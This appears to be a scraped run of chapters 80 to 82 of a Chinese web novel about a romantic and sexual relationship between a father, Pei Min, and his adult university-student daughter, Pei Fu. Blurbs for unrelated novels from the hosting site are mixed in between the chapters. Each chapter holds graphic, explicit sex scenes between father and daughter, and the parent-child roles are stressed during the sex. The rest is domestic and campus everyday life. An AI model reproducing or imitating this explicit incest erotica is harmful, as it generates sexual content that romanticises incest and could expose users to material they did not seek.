  “毕竟也存在不可抗力,人这一辈子要遇到很多吧。”裴闵叹了一口气,“不过,还没有来的事情就不要操心那么多了。还是现在比较要紧。如果一直想那些,会影响现在的心情。”
  他另一只手往湖面一指:“看,是鸭子。”
  “我看到了啦。是鸭妈妈,后面都是小鸭子。”
  “应该是养的吧?”
  “不知道,可能吧。”裴芙抱着他的胳膊:“走吧!”
  “啊——去哪里?”
  裴芙想,管他呢。
  爱是永恒的纯真、而唯一的纯真就是不思考。
  在这段关系里思考得太多太多了,而抵达纯真竟是如此困难的事情。
  她也许该更放松一些,退行回到孩子的状态,像小鸭子跟着妈妈游泳一样跟在他身边。
  爱是河流,水能载舟,就这样顺流而下,总能到更辽阔的江河湖海去的。
  裴芙笑着说:“去给我买衣服口红吧!”
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凡人修仙传
忘语
修仙觅长生,热血任逍遥,踏莲曳波涤剑骨,凭虚御风塑圣魂! ...

风情万种 / 发表于: 2025/09/12 03:04:39

第八十章
  对于裴芙来说,一天之中最心满意足的时候莫过于早晨。
  只要一偏头,就可以看见他的侧脸。
  眉骨鼻梁的轮廓线条勾勒出山陵一般的剪影,另外半张面庞还陷埋在柔软蓬松的羽绒被子里,身侧这具躯体散发着温暖的热度,裸露的一臂压在被子上,他呼吸缓慢、微沉,带动着被子轻微起伏,颤动的睫毛是将醒的预兆。
  他在睡梦中仍然发自本能地往身旁探了探,揽住身边人,塞进自己的怀抱里。与此同时逐渐从睡眠中挣扎出来,哼了一会儿,抻了抻腿。
  他睁开眼盯着裴芙看了一会儿,腻腻乎乎地贴下去亲了亲她的额头。嗓子哑哑的,轻声说:“有你在家里真好。”
  裴芙的脚在被子里缠他的小腿,裴闵的怀抱变紧了些。裴芙想不出来要说多么复杂的情话来回应他,身体倒是先一步做出回应。
  细而密的亲吻一点点沾在裴闵的喉结胸口,他的身体也彻底苏醒,舒适得像温水一样的酥麻快感从被含住的乳尖蔓延开,他的身体有些紧绷,难堪地夹了夹腿。
  晨起的冲动经不起撩拨,腿间的东西就是渴欲的罪证。
  他想藏也藏不住,两人身体贴得极紧,那处的顶端直戳戳地顶在她大腿缝里,被柔软细腻的软肤夹蹭摩挲。
  裴闵呼吸错乱急促,用一种极其性感低哑的气音叫她宝宝,听起来是欲拒还迎的引诱。
  裴芙轻轻地咬他,赤红的乳尖已经被她舔得肿胀发硬,她不使坏也不捉弄,只是单纯地因为心情很好,才想与他做亲密事。
  裴芙眼尾弯弯,两颊酒窝掬起明快的笑意。
  她仔细地看着裴闵的脸,三十代尾声的人悉心包养也留不住流失的胶原蛋白,圆润饱满的少青气息渐渐隐没,浮现出来的是更加硬挺锋利的骨相轮廓,一派浓郁得让人胆战心惊的英俊。
  此刻他在她的玩弄和摧折下变得脆弱易碎,她几乎是不管不顾地要把他拉到情欲的泥沼里来共沉沦,想看他色爱满身、无法自拔。
  裴闵咬着下唇,脑子里都是浆糊。
  他的性器被她夹在腿间,她稍稍动作一番,就是绷驰有度地磋磨。
  他浑身的热都聚集到那一处,简直让她玩弄得束手无策,一双手臂绷得肌肉鼓起、青筋微隆,被裴芙捧着舔吻。
  “我们在做什么?”
  爸爸、爸爸,我们在做什么?
  她的唇舌覆盖上他的小臂,软而嫩地压在那些青筋上。
  她浑身都微微凉,只有上下两张嘴烫得不行,这两团甜润的脂膏,沾在男人的皮肉上就开始发起春意的烫,要融化在他身上。
  裴芙几乎要吮出吻痕来,她沉迷于父亲充满力量于美感的肉体,心甘情愿拜服,以吻侍奉他,像朝圣。
  她要用肉身供这尊欢喜佛,已经被她弄得情欲满身,腿间的性器炙热肿胀,分泌出情动的雨露。
  奖励似的吻点在硬挺的乳尖上,勾起身下男人隐忍的低喘。
  “宝宝在吃奶……”他狼狈地说,手掌托举自己的胸脯:“在吃爸爸的奶……”
  “说错了。男人没有奶,我怎么会是在吃爸爸的奶?”
  “我有。”他胡乱说:“我有的……你再吸一吸,吸吸就出来了……嗯……”
  裴芙让他的放浪形骸惊到,看他面上一片绯红,眼里也湿润迷蒙,已经是忍得不行了。
  她的手抵住粗硕的性器,对准自己一点点塞进去。湿透的腔口被顶开,饥渴得发出啵的一声,蓄积的淫水沿着他的性器往下滑落。
  裴芙压在他身上,只准他插一点点。
  那淫壶箍着他的冠沟,撑开的口就像一层绷紧的薄膜,在龟头系带上上下乱磨,她只吃一点点,不得章法地夹着他的顶端晃动摇臀,只用那圆硕的头堵住又浅又馋的肉穴,再不肯多肏一点。
  裴闵被她骑得求死不能,欲火无处宣泄,看着女儿在他身上作乱,下头的淫根已经憋得快胀废,他想翻身把裴芙压下去,却被她咬住喉结:“别乱动。”
  他让那只淫水四溢的嫩逼肏得鸡巴涨红膨大,没有塞进去的棒身也淌满了上头滴落的淫水,裴芙轻细地喘,又贪吃又怕爸爸让她受罪,用肉棒在浅处磨一磨止痒,不顾爸爸死活。
  裴芙咬他脖子、指尖掐住奶头,逼他更脆弱给她看,裴闵就在她耳边喘,心跳剧烈,混合成激烈震荡的曲目,他眼尾堆红,皱眉时一滴生理泪水随着颤抖没入鬓角。
  裴闵明明是在极致的刺激中体会到痛苦,却说,宝宝,好舒服。爸爸好舒服。
  他说话的时候面庞上有可摄心魄的惑人之色,被唾液浸润的唇看起来饱满柔软,他的舌尖勾她交缠深吻。
  她脑内一失神,轻飘飘地就去了,底下的穴内酥麻瘙痒,夹着龟头止不住地收缩嘬吸。
  裴闵也泄了精,噗噗往外淌了一滩,弄得下身一片狼藉。
  他在高潮后的的空茫里仍然抱紧裴芙,手掌压在她衣内赤裸的脊背上,双臂锁成一个占有欲极强的禁锢姿态。
  他的生殖器还堵在裴芙的身体里,她温暖地裹着他,让他舍不得离开。他的嘴唇在裴芙耳朵边蹭,“要是一辈子一直插在里面就好了。”
  “……疯子。”裴芙轻轻咬他的脸颊一口,留下一排浅浅的小牙印。
  裴闵起了床坐在床畔,身上还是赤裸的,她视线上下扫动,满意地看见自己留下的杰作,裴闵身上乱七八糟都是她亲的吸的吻痕,淫乱得让人不敢直视。
  而裴闵顺着她的目光往身上看,露出纵容溺爱到极致的没有脾气的微笑。
  他单手撑在裴芙身边,另外一只手捏住被舔吸肿胀的乳头,轻轻抽了口气,“只是这个——你要我今天怎么出门?”

你都1000级了,外面最高30级
易枫洛兰雪
易枫穿越到修炼世界,可惜只能当个凡人,无奈只能开个小武馆维持生活,偶尔打打铁,当个“一代宗师”混日子。直到有一天,小武馆变得热闹。几个仙风道骨的老头为易枫厨房里的菜刀争的面红耳赤……

风情万种 / 发表于: 2025/09/12 10:34:45

第八十一章
  裴闵假期还有应酬,为了能早点回家他已经退掉和几个老板的牌局,但是上午仍然要去和人打羽毛球。
  清晨一番厮混没浪费多长时间,裴芙看他翻身下床一边慌慌张张说来不及了来不及了,一边还要手忙脚乱给自己贴男士乳贴。
  他梳洗一番,换了稍显商务的POLO衫,手里的提包里装着球拍和待会要用的毛巾衣服。
  出门前不忘到卧室里亲亲还在赖床的宝宝,一番兵荒马乱、心理斗争,恋恋不舍地家门外去了。
  他走没多久裴芙脸色一变,觉得下身有东西往外涌,她还抱侥幸心理祈祷是刚刚的爱液未尽,可一进卫生间,果然是生理期造访。
  她叹一口气,拾掇一番,垫好卫生巾,捂着肚子去倒热水喝。
  返校后要交一篇短篇小说,她开了平板,一只手敲键盘,另外一只手捏着面包往嘴里塞。
  微信弹了一条消息提示,她点进去看,是裴闵发过来的,一张羽毛球馆的照片,镜头有点晃,拍得糊了。
  裴芙:报备?
  裴闵:嗯,我今天不回来吃午饭
  裴闵:我订了烤鸭,中午会送到家里,你想吃别的什么自己点吧
  裴闵:[开心小狗]
  裴芙:嗯嗯
  裴闵:乖乖
  裴芙心里忍不住想,不知道他会不会失望,她来月经,这大好的假期又少滚几回床单……不是,有瘾的明明是她自己吧。
  裴闵越来越不像她的父亲、而像一位年长的、真正的恋人,任她予取予求、肆意欺压,他情绪总是稳定的……从有记忆起,他就鲜少对她生气不满。
  裴芙手撑着下巴,心思飘到九霄云外,文档里落下一串意义不明的乱码。
  和裴闵的相处之道就是要直白袒露爱意,越多越好、越爱越好,裴闵渴求她的关注。
  裴芙其实比他内敛得多,心里想他但嘴上不常说,上大学后才渐渐更主动频繁地联络他。
  她偶尔担心自己的黏人与分离焦虑是否会给爸爸造成负担;可后来察觉原来裴闵的症状一样严重。
  就半天时间而已,她趴在桌上,或许是生理激素的影响,身心都变得倦怠而脆弱。
  ……他什么时候才能回来。
  裴闵上午约了人打羽毛球,完事又去做推拿,折腾了大半天。回家的时候手臂上贴着膏药,带着股辛香的药味往床上栽。
  他伸手环住裴芙,掌心贴在她肚子上。他微微一碰就摸到卫生巾的边沿,明白她经期造访,热热的掌心轻轻按住小腹揉动。
  裴芙午觉还没睡醒,她月经前两天小腹连着腰都会坠痛,此刻腹部让他揉得发热、隐痛渐退,觉得裴闵贴心黏人得可爱。
  裴芙转了一下身子、面对着他,脸埋进他胸前乱蹭。
  鼻尖捕捉到裴闵身上复合的气味,没有运动后的汗味,大概在外面洗过了。
  陌生沐浴露的馨香、止汗露、一点未散的男士香水尾调。
  乱七八糟的气味杂糅成他的体香,她忍不住深深吸了几口。
  “痛不痛?”裴闵揉了揉她脑袋,语气里有一点紧张。
  “还好。没什么事。”裴芙黏着他:“你回来了我就好了。”
  她屋里的窗帘是拉开的,外头太阳好得不得了,斜斜地照进来。
  裴芙一年里最喜欢的就是春末夏初这段时候,不太热,也不冷;阳光明艳,惠风和畅,入眼是春浓勃发的生机,不至于由夏入秋时的失落。
  阳光照到床尾一角,正落在一小片雪白的脚背上,她闲来无事,给脚趾也涂上裸粉色指甲油,如今脚趾紧并如五颗粉玉珠,往上攀撩过男人肌肉紧绷的小腿。
  裴闵半侧着身子撑在她身上,裴芙想从床上爬起来,推他也推不动。他成心的。
  “你干脆压着我做俯卧撑吧…我倒要看看你能做几个。”
  “一个也做不了。”裴闵闹着玩,唬她,假装真要一整个压下来,距离猛地迫降二十厘米。
  这就是即将接吻的距离,他用手掌把两个人的嘴唇隔开,贴着手背说:“你看,到这么近的时候我就上不去了。”
  “为…为什么?”
  “我就想亲你了。”他眼睛亮晶晶的,笑着说“这么近!”
  裴芙眨眼,嘴唇贴着他的掌心啄了一下。
  “这么喜欢接吻?”她舔了舔下唇。她嘴唇容易干,和裴闵厮混起来又不记得睡前涂唇膏。
  “喜欢啊,亲你可好玩了。”裴闵拿脸蹭她,“你不喜欢?”
  “喜欢。但是你得让开了,我去洗个脸涂个唇膏,我嘴好干。”
  裴芙把裴闵推开,下床去翻收纳包。
  刚刚舌尖舔到一点点血的腥甜味,有点忍不了刺痛了。
  她化妆品和护肤品都买得精简,只有唇膏购置得格外多。
  管状的、罐装的、啫喱的、轻薄的、厚重的……买了好多种,根据心情和状态选用。
  她拿了个菠萝味的涂了,是和珍宝珠的联名,闻起来是棒棒糖的香气。
  裴闵就趴在床上胳膊撑着脸看她,孩子气十足地把嘴巴微微撅起来:“给我也涂点呗。”
  “你要哪个?”裴芙把那个小包递给他让他自己选,裴闵捡了刚刚她用的那个菠萝味的抹上,说这个好香。
  “给你了。你拿着用吧。”芙老板大气地挥挥手:“你自己那个不是用完了吗,你又不买。还有擦脸的香香你也拿去用吧,都是我之前买东西送的小样。”
  “你用正装我用小样啊!”裴闵哼一声,“分我有得用就不错了是吧。”
  “男的不要太爱漂亮了。”裴芙弯下腰来拍拍他的脸:“爸爸你快去做饭吧。”
  裴闵哼哼唧唧,心想是不是热恋期已经过去……他们关系特殊,又不能总是出门约会,怕是宅在家里黏得腻了。
  在家里能干什么?
  吃了睡睡了吃,饭饱思淫欲……他心里颇有些幽怨情绪,一赌气索性趴在床上不愿起了。
  “点外卖吧。”
  他把手机甩给裴芙,她解了锁打开软件点餐:“盖码饭行吗?”
  “随便你。”
  裴芙又在糖水铺里点了个炖花胶,点完以后想起来可以趁机看一眼裴闵平时都点了些什么来吃。
  她扫两下订单页面,好吧…果然是健身餐居多……偶尔吃粥和饺子。
  裴芙捏着他手机开始查岗,翻他的朋友圈。
  他朋友圈都是些生意上的人,看来看去没什么意思。
  裴闵在旁边,也无所谓她随便看自己的手机,但还是忍不住问,“查出什么名堂来了没有?”
  裴闵今天专门穿一套羽毛球服,裴芙在学校里也打过几回,不过她水平一般,和社团的同学打就不太够看了。
  她想起来见过几个打羽毛球的男同学,穿差不多的衣服,是很显瘦、很清爽的。
  有个皮肤白的男同学穿了只到大腿中的短裤,她眼睛被晃了一下,还多看了两眼。
  但裴闵穿又不太一样,他侧卧的时候胸肌被挤压得鼓鼓的,短裤下两条腿也不是纤细的少年样子,而是精心锻炼过、塑造成的漂亮肌肉线条。
  裴芙坐在他边上,手忍不住放上去揉了两把他的胸。
  “谁知道?”她的指尖蹭他胸前的微凸,轻轻揪揉了一番。
  看他的身体因为自己的爱抚变得敏感也很有意思。
  裴芙满意地摸他绷紧的腰腹,手指撩过微凸的青筋,把短袖下摆一点点卷上去。
  裴闵就躺在那里任由她上下其手。
  她的耳朵充血发烫,一对耳朵通红了,热度才会一点点攀升,染上眼尾和面颊。
  他却一点也不反抗,因为拿不准这位生理期的宝贝想玩到什么程度,只能对她的骚扰大开绿灯,徒留脚趾紧紧蜷着踢着床单,显示出一点挣扎。
  他几乎要恨起这具敏感重欲的身体,裴芙给一点甜头就能勾起食髓知味的本能。
  他试图以长舒一口气来缓和自己过于激烈的心跳,问她:“你早上搞完,现在还要……?”
  “看你漂亮,就想摸一下。”裴芙装出流氓做派:“你怎么就硬了?”
  裴闵被她揉奶乱摸,眼睛里还残存着一层薄薄水光,此刻略带震惊地看着她,流露出一丝良家熟男被调戏的无辜无助。
  “你都这样……我……”他咬牙:“我总还没有阳痿吧!”
  他下身已经让她撩起来了,还想和她要点甜头,结果门铃响了,外卖送到了。
  裴芙把他扔下去开门,裴闵瘫在床上自暴自弃,手伸进裤腰里把那东西捉进掌中抚动几下,有些渐入佳境的时候,裴芙咬着勺子靠在卧室门边,朝他抬了抬下巴:“继续。”
  光天化日朗朗乾坤。
  裴闵瞧她丝毫没有要过来的意思,看来打定主意要隔岸观火了。
  他觉得有点小小屈辱,更多的是被她冷落的委屈。
  他把裤腰往下拉,让性器暴露出来,指尖在马眼一刮,蹭一点自己的淫水,抹在系带上,一只手轻轻环住龟头抚摸揉弄。
  他算是发现她的恶趣味,除了让自己给她做狗,还爱看他自慰。
  自慰不比两个人做爱,他一个人深陷欲海沉沦,她还在岸边旁观,清清楚楚地凝视他。
  这样的落差带来巨大耻感,难以克服却逐渐转化为另一种刺激。
  他作一场情欲表演,只现给她看。
  他把被她卷上来的衣物下摆咬进唇间,手指压上软鼓的胸前,双指如夹烟一般轻轻钳制住余肿未消的乳头。
  他胸口还有些没褪去的暗色吻痕,是她留的。
  裴闵止不住回想两个人昨夜那场愉悦情事,那压在阴茎上的肉瓣像是要融化了,每一寸软烫的嫩脂柔滑都在吻他怒胀的青筋。
  他小心翼翼地把她捧着、架到自己腰上,而裴芙无师自通遵依本能地,用勃肿的阴蒂磨他的下腹。
  他的皮肤纹理肌肉沟壑,全成了花妖抚慰止痒的解药。
  白腻筑脂的软臀被男人的髋部击打出千层浪,勃发的粗根搅弄她潮湿的爱巢,沟棱青筋划过层层迭迭媚肉软鳞,出得只余一朵菇头卡在穴眼里,再沉腰狠狠撞进去。
  热汗顺着后背滑落,头皮发麻汗毛倒竖。
  裴闵在狂潮中低头与她舌尖相接。
  柔嫩的舌汁水漫溢的腔,她一点点勾他深入再深入,深吻过后舌尖还未来得及收回,承接住一滴他睫毛颤落的汗。
  一抿,对他说,是甜的。
  怎么会甜?裴闵把她摁住,此刻再冲进去难道不是奖励她?他说,你还没说爱不爱我。
  芙在欲火中失去言语,塌下细细的腰,张开艳红秾丽的穴对着他,他掐住她腿根自上而下肏入她的嫩穴,裴芙的腿短暂挣扎了一会儿,随即臀越抬越高,臀缝腿根缓慢地夹紧、放松。
  爱啊。
  好爱,特别特别,最爱。
  爱。
  他心满餍足,射精时酥麻过电式的快感由下腹荡遍整副躯干,他颤了颤,垂眼看着阴茎最后一次送入蜜道深处,挤出的精水四溢滴落,在拔出时发出开盖似的暧昧响亮的啵声。
  没有阻塞的汁液从蜜壶里斟出,润满整个媚红淫户和仍然昂扬弩张的阴茎。
  裴闵闭着眼回忆着昨夜的性爱,他此刻只有自己的手为自己疏解,可哪里有这样的道理,她明明就在身边,还要折磨他。
  但凡尝过了和最爱灵肉合一的情浓滋味,就再也回不去了。
  他在家里除非想裴芙想得厉害,底下都不怎么摸。
  自慰只有一刹那的空白与刺激,过程枯燥、事后空虚,他讨厌这种感觉。
  此刻裴芙要耍他,他乐意迁就。吊着肉在狗前头,也算有个念想奔头。
  “宝宝,”他觉得自己好像快到了,还算快。“过来,抱我。”
  裴芙走过去撑在他身上,被他单手搂进怀里。耳边是低沉压抑的喘息,裴闵紧紧抱着她,头在她肩窝里蹭、深深吸她的味道。
  他抱得太紧,要把她揉进自己的身体骨血,裴芙听见他嗯地一哼,温热的精液喷射出来,落在两个人身上。
  他问:“你爱我什么地方?”
  裴芙想了想,用手点过他的眼睛:“这里。”
  然后是心口、手……“这里、这里……”
  最后落在他下巴的小痣上:“这里。”
  “这里?痣吗?”裴闵有些意外地微微挑眉:“你喜欢亲这里……是痣啊。”
  “嗯。”裴芙轻轻应了一声,几秒后又想起了补充内容:“我以前看到过一些说法,痣是前世给这辈子做的标记,让爱的人这辈子还能找到……还有,每一颗痣都是希望有人亲吻这里。”
  “……我知道了。”裴闵的手猛地往下面一探,准确无误地摁在某处,裴芙瑟缩颤了一下:“你干什么!”
  “这里。”他的指腹施加一点力气,微重地在大腿内侧一摁,“那我要亲这里。”
  裴芙生怕他真的要发疯,她还在生理期!
  平时也就罢了,现在真的不太合适。
  裴闵有点遗憾,把她箍在怀里蹭了两下:“下次……下次你坐我脸上吧。”
  他目光灼灼,来得比初夏的日光还要烫人:“我想舔你。”
  “……爸爸你别发疯……”
  “我就发疯,”他胡搅蛮缠亲她的耳朵,炽热的呼吸如同未散的情欲一样喷薄而来,几乎要将她烫伤。
  他咬她薄薄的红透的耳廓,“宝宝我想舔你的……”
  他最后呼出一个气音,几乎是用舔吻渡给她的耳膜。
  -  没什么好说的下一章暑假大舔特舔。
  ??这算是奖励吧!
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总统夫人,晚上见!
吕涵芷
她被亲人出卖,沦为陌生男人的生子工具。五年后,她褪去青涩,成为名不见经传的插画师。一次漫展,她遇到傲娇萌宝。 “女人,乖乖跟我回家,我就让你抱大腿。一送你绝世好老公,二让你画画技能爆棚。”

风情万种 / 发表于: 2025/09/12 10:48:18

第八十二章
  五月过后就不用再翘首以盼,一切都像按下加速键,直射点靠近北回归线,白昼拉长气温攀升,六月底几乎是转眼就到了。
  每一个夏天都是人生的第一个夏天,北半球像半只汁水饱满的瓜果,散发出热烫的、如蜜的芬芳。
  裴芙换上了系带凉鞋,露出来的脚趾上涂了红色甲油。
  做这些事的时候是深夜,寝室里还在翻书复习,室友问她怎么不看书、还有心思涂脚指甲,她嗯了一声:“总要喘口气嘛。”
  文学系的期末考是纷飞的资料、厚厚的专业书与笔记,手写到抽筋的名词简答小论文。
  裴芙出了考场,看见外头明亮刺眼的阳光与蓊蓊郁郁的树丛枝桠交错,在回廊下投下细碎晃悠的光斑。
  这景象没来由让她想到高考结束的时候,出了考场也是这样的日头,阳光烈得发白。
  她长舒一口气,绷直的腰随着渐缓的脚步,微微松弛地弯下去。
  她提前出了考场回寝室,站在桌前收拾复习时堆满一桌的课本资料册子,分门别类归置,最后拢成一迭靠到边角去。
  接下来就是她尚未收拾完的行李。
  要带的衣服迭起来、化妆品护肤品拧紧装袋。
  过了片刻宿舍门一阵响动,对床李梦瑶回来了,她手里提着午饭和半个西瓜,只能用脚踢开门进来,又反身把门踢拢。
  李梦瑶看见裴芙收行李收得热火朝天,放了东西问:“你提前交卷回来收行李啊?饭吃了没?”
  “还没。”裴芙把在地上摊开的行李箱往自己这侧挪了挪:“你什么时候的票?”
  “我大后天才走,我这边事还没完呢……就那个家教,后天还要再上一次课。”
  “你还做着呢?不是说那家长特别不好伺候吗?”
  “是啊,我管他呢……反正语文成绩是上去了,他们现在要理工科的暑假去教小三门,好像找的一个物理系的去吧。”
  李梦瑶叹了口气:“你一个月生活费多少啊?我妈就给我两千,要不是为了这几个钱才不干呢。”
  “我?”裴芙顿了一下:“我吃饭基本就在食堂吃自选,花不了多少钱……买衣服的钱我爸给我另算。”她心里盘算,早餐花个五块,正餐十块以内搞定,一天也不过吃二十来块钱,算上水果……裴闵没给她设限,她也没特意算账,钱没了就再往饭卡里充一点儿,买东西就刷亲密付或者自己的小金库。
  “怪不得呢。我的开支全要从那两千里出。”李梦瑶哀嚎一声:“现在衣服也太贵了吧,随便买买钱就没了。”
  裴芙笑了笑,也没再说了。
  她套着件又薄又软的白短袖蹲着,记起来身上这件好像还是淘宝随便买的二十块的。
  她忽然问:“你爸爸在穿衣服上开销大吗?”
  “啊?”李梦瑶狐疑一瞬:“我爸?他穿得和流浪汉差不多……”
  裴芙像想起来什么高兴的事情,自己蹲在那儿笑,好半晌才说:“我爸可臭美了。”
  她是第二天的机票,裴闵因为分别时间不够长,所以面上并不显得喜出望外,倒是很稳重的样子,给她拿行李,让她上车吃买的果切。
  裴芙吃西瓜绝不肯吃有籽的,她在这样细琐的事上缺少耐性,因为多刺不爱吃鱼,懒得吐籽所以不吃有籽的瓜。
  裴闵是挑了个无籽的麒麟瓜让人切了,她拿叉子戳一块咬进嘴里,还有冰镇的凉气,一下抚平暑热燥闷。
  裴闵在主驾驶上倾身过来,手臂一伸,手指挑过她肩侧压住的安全带系好,一面贴过来如胶似漆地亲吻一下裴芙的嘴唇,舔到一点西瓜的清甜味。
  裴芙用小叉子插了块瓜递到他嘴边,被他张嘴囫囵吃进去,未料牙齿敏感,酸痛得让他面部扭曲,忍不住用手盖住下半张脸,脸埋在掌心里默默平复了一阵子。
  她眼睛转向窗外,假装不在意他刚刚那个扭曲的鬼脸,弯起的嘴却藏不住。
  裴闵让这个小插曲闹得有点小尴尬,开车回家时都不太爱讲话了……他今天可是精心打扮,没想到好好的氛围全让一块西瓜毁于一旦。
  直到进了家门他还没从这事里脱神,没想到一进玄关裴芙就转身踮脚来吻他,软湿的舌尖轻轻舔着那颗敏感的门牙逗了逗,才顶开牙关深吻进去。
  就这点小事也在意……她觉得裴闵是越发娇了,男子气概在她面前逐渐消失,变成一滩无法独立行走的黏糊虫。
  裴闵的头发又长了些,今天没用喷雾定成背头,于是稍长的发稍垂下来,呈一个刚低过眉的刘海。
  他的头越低,眼睛就越被碎发遮得不分明,连同眉眼里的情绪也变得让人捉摸不定,朦胧暧昧起来。
  裴芙指尖一勾,替他把头发绕到耳后别着,但短了挂不住,又晃散开来,有些落在她脸上,拂动起来微微痒。
  “……头发长了。”她用脸颊蹭他的脸颊:“今天这样也好看。”
  穿得简单清爽,顺垂的头发恰到好处地削弱了几分凌厉的英俊,让整个人看上去柔软不少,远远地乍一看——还真年轻。
  她伸手摸了摸这顶顺毛,忍不住把脸整个埋进他肩窝里,嗅嗅他身上的香水味,又闻一闻头发上的洗发水香味。他今天上午肯定洗过了,好香。
  裴闵没让她一直踮着脚,她脚底板容易抽筋,之前做爱就抽过一回。
  他手托着她的臀让她攀得高些,腿缠着盘在他的腰上,这样就能比他还高出一截,无需再仰视他了。
  他的头发让裴芙揉得乱了,拨云见月地露出一双柔亮含情的眼睛。
  裴芙被他的眼睛摄住心神,俯首去在他眼皮上落下一个吻。
  她感觉到他眼珠在眼皮下的细微滑动,颤动的睫毛轻扫她饱满的下唇,一路痒到心尖子上。
  裴芙的手环在他脖子上,手摸到一根绳,扯出来是她送给裴闵的那个平安扣。
  翡翠卧在她的掌心里,深绿被她的肤色衬得更幽更浓,她和他两人的体温沾在这块平安扣上交融,实在圆满。
  裴闵半张脸都卧在她另一只掌心里,裴芙的拇指抚了一下他的颧骨,她浑身的重量都被他托举着,贴着他的胸膛,听他鼓噪的心跳。
  “说‘我爱你’。”
  “我爱你。”裴闵盯着她一字一字说得认真,一双手臂把她环抱得紧紧的,两个人在玄关差点就擦出火来。
  他喉结动了一下,把欲望也微微吞咽下去,柔顺又忍耐地垂头,在她颈窝里克制地蹭了蹭。
  “芙芙……”他把她抱到餐厅坐下:“先吃饭吧。”
  他心里有点惴惴不安,又起身去书房拿了个盒子给她:“这个送你。”
  “什么东西?”裴芙把盒子打开,看见里头的绒布上卧着一个玉镯子,戴进去圈口也合适。
  “好看。”裴芙把手腕转了转,盯着看了一会儿,“怎么突然想到给我买这个?”
  “无意间看到的,觉得适合你就买了。”裴闵给她碗里夹菜,看见她喜欢,心里的石头暂且落地。
  人家谈男女朋友都是要送这送那的……他低下头喝汤,一张脸被热气扑红。
  他给裴芙买东西,都是爸爸给女儿买的模式……总感觉不像情人间的礼物。
  裴芙收了礼物心情大好,眼睛总忍不住瞟手上这个漂亮镯子。心想,戴了镯子就像给他套牢了。
  裴闵的筷子在碗里戳了几下饭,问:“你喜欢吗?”
  “喜欢啊。”
  “那上次那个耳钉你喜不喜欢?”
  “喜欢……怎么了?”裴芙也停了筷子,眼睛望向他,带着一点小小疑惑。
  “那你为什么不戴?上次放假回来也没有戴……”
  “钻的有点闪,我就换了个简单的银的。”裴芙摸了摸耳垂:“那一对我也带回来了,暑假可以戴。”
  裴闵好像放下了一桩天大的心事:“我还以为你不喜欢那个了。”
  “没有,你送的我都喜欢。”裴芙笑了,又继续夹了一筷子莴笋送进嘴里,“你这么在意啊?”
  “……当然在意。你又要过生日了,有什么想要的没有?”
  裴闵本来以为裴芙会说“随他”或者又是“你送的我都喜欢”,让他凭借优秀品味自由发挥,没想到她却说了个相当清晰的答案:“我想要辆自行车。”
  “自行车?”这个答案完全出乎裴闵意料,“你要健身还是?”
  “也不算……我想自己骑车出去溜溜。”裴芙想起在北京没课就经常骑自行车到处晃悠,这还是因为夏令营和宁为青的那一次出游留下的爱好。
  相比之下,自己家乡的大街小巷,反倒没有好好逛过,也许是因为太熟悉,所以才不在意。
  “好时髦呀。”裴闵以为她是受了北京上海那些精致单车族的影响,裴芙立刻就反驳了他,说自己只是想骑车遛街,偶尔想走就走,比公交地铁方便。
  “那我们一起挑一辆你喜欢的……你什么时候去把驾照考了,还能开家里的车。”
  “快毕业了再考也不迟,现在学了平时也开不上,到时候全忘了。”裴芙摆摆手:“吃饭吧,不说话了。”
  裴芙饭后把钻石耳钉重新戴上了,以防傻狗在看不见的角落里胡思乱想。他是要在她身上留点他给的东西做标记,看了才觉得踏实舒服。
  他的心脏是一只贝壳,看上去很坚强但是里头很脆弱柔软。
  她对着镜子摸了摸耳垂,更换耳钉让穿孔的耳洞周边泛红,钻缀在上面,晃动闪烁出一点辉光。
  她买的钻戒还藏在书柜的最内侧,一直没有找到合适的时机送给他……裴芙暗自纠结了一会儿,总觉得这礼物买得实在是过于沉重。
  光是提到“钻戒”两个字都足够震撼人心了,更遑论是女儿来给爸爸一枚戒指,听起来简直要被天打雷劈。
  裴闵看她,觉得钻也好玉也好,戴在她身上都是隐形的,因为他就只看得见那一张脸。
  裴芙大学后美得更松弛了,她的美是一种综合感受,并非只流于皮相的视觉体验。
  裴闵与她朝夕相对近二十年,仍然无法免疫。
  晚上两个人滚上床的时候裴闵还捧着她的手腕亲,他的吻润在玉上,把凉凉的玉料都暖温了,亲得裴芙手腕发痒,说什么也不肯再让他捉着腕子亲了。
  团聚第一个晚上她是绝对不会放过裴闵的,异地恋憋久了就和狼做了速食主义者一样,看见肉眼睛就发绿光。
  裴闵还没做好准备,倒是她作风豪放,把他的裤腰扯下来,弹出一根粗长半硬的性器。
  裴芙的手抚摸了一会儿他漂亮紧实的腰腹线条,顺着人鱼线往下摸他下腹的青筋,越靠近私处,茸茸的耻毛就显了出来,她想起给他剃毛已经是很久之前的事情,问:“什么时候再给你剃掉吧?”
  “……什么时候都可以。”裴闵屏住呼吸,因为即将面临巨大的刺激,期待的神色都开始脆弱起来。
  很快他就迎来了开场,裴芙只是在顶端轻轻亲了亲,他的性器就忍不住颤了两下。
  他上一次自慰都是一周前,实在难以承受这样的快感,唯恐早泄。
  裴芙用舌尖舔过棒身每一条凸起的筋络,舌面把它抬起来,托裹着送进口中含吮。
  她是对裴闵有性瘾,戒不掉和他不要命的做爱,她恨不得一口把他吞进胃里,这种依赖显然已经渐变为偏执,她想看他哭、看他因为爱欲求生不能。
  舔吸了一会儿、深喉了三个来回,精神的欲念无法打败生理反感,她舌头抵着马眼把裴闵的东西推出去,从春季开始反复不断的慢性咽炎让她无法再恣意妄为。
  她去洗手台边接了一捧水漱口,鬓边垂下的发丝被水沾湿黏在腮上,裴闵还没泄,底下一大根硬硬地翘起来,随着脚步弹晃。
  他铺满潮红欲色的脸上有种不合时宜的纯净感,裴芙觉得或许是来自于他的眼神。
  他看向她的时候总是带着坦荡的偏爱与注目,此刻走过来也只是担心她不舒服。
  “我没事。”她一句话没落地,又捏着他的乳头问:“爸爸,给你打个乳钉好不好?”
  裴闵被她话里的情色构想迷晕神智,配合地挺起胸膛,乳头在她掌心蹭来蹭去。
  他想起在网上看过的新鲜事物,误入年轻女生的讨论帖,里头大谈四爱、GB,他懵着进去红着耳朵出来,心想自己和小芙简直无师自通地摸索出一套相处模式,他此刻情热正盛,贴着裴芙的耳朵咬:“宝宝,你想不想操我?”
  裴芙的尾指把湿发丝往耳后一勾,说,“你去窗边上站好。”
  裴闵脑子没跟上:“窗边?”
  他的身体已经先于大脑听从指令,赤身裸体地走到窗边站好,而后裴芙的身体从背后贴住他,环抱着他的腰,压着他更加贴近玻璃,手圈住了他昂扬的性器。
  裴闵撑着玻璃的手猛地握拳,脖颈上仰,咬紧牙关带动起多处青筋暴起。
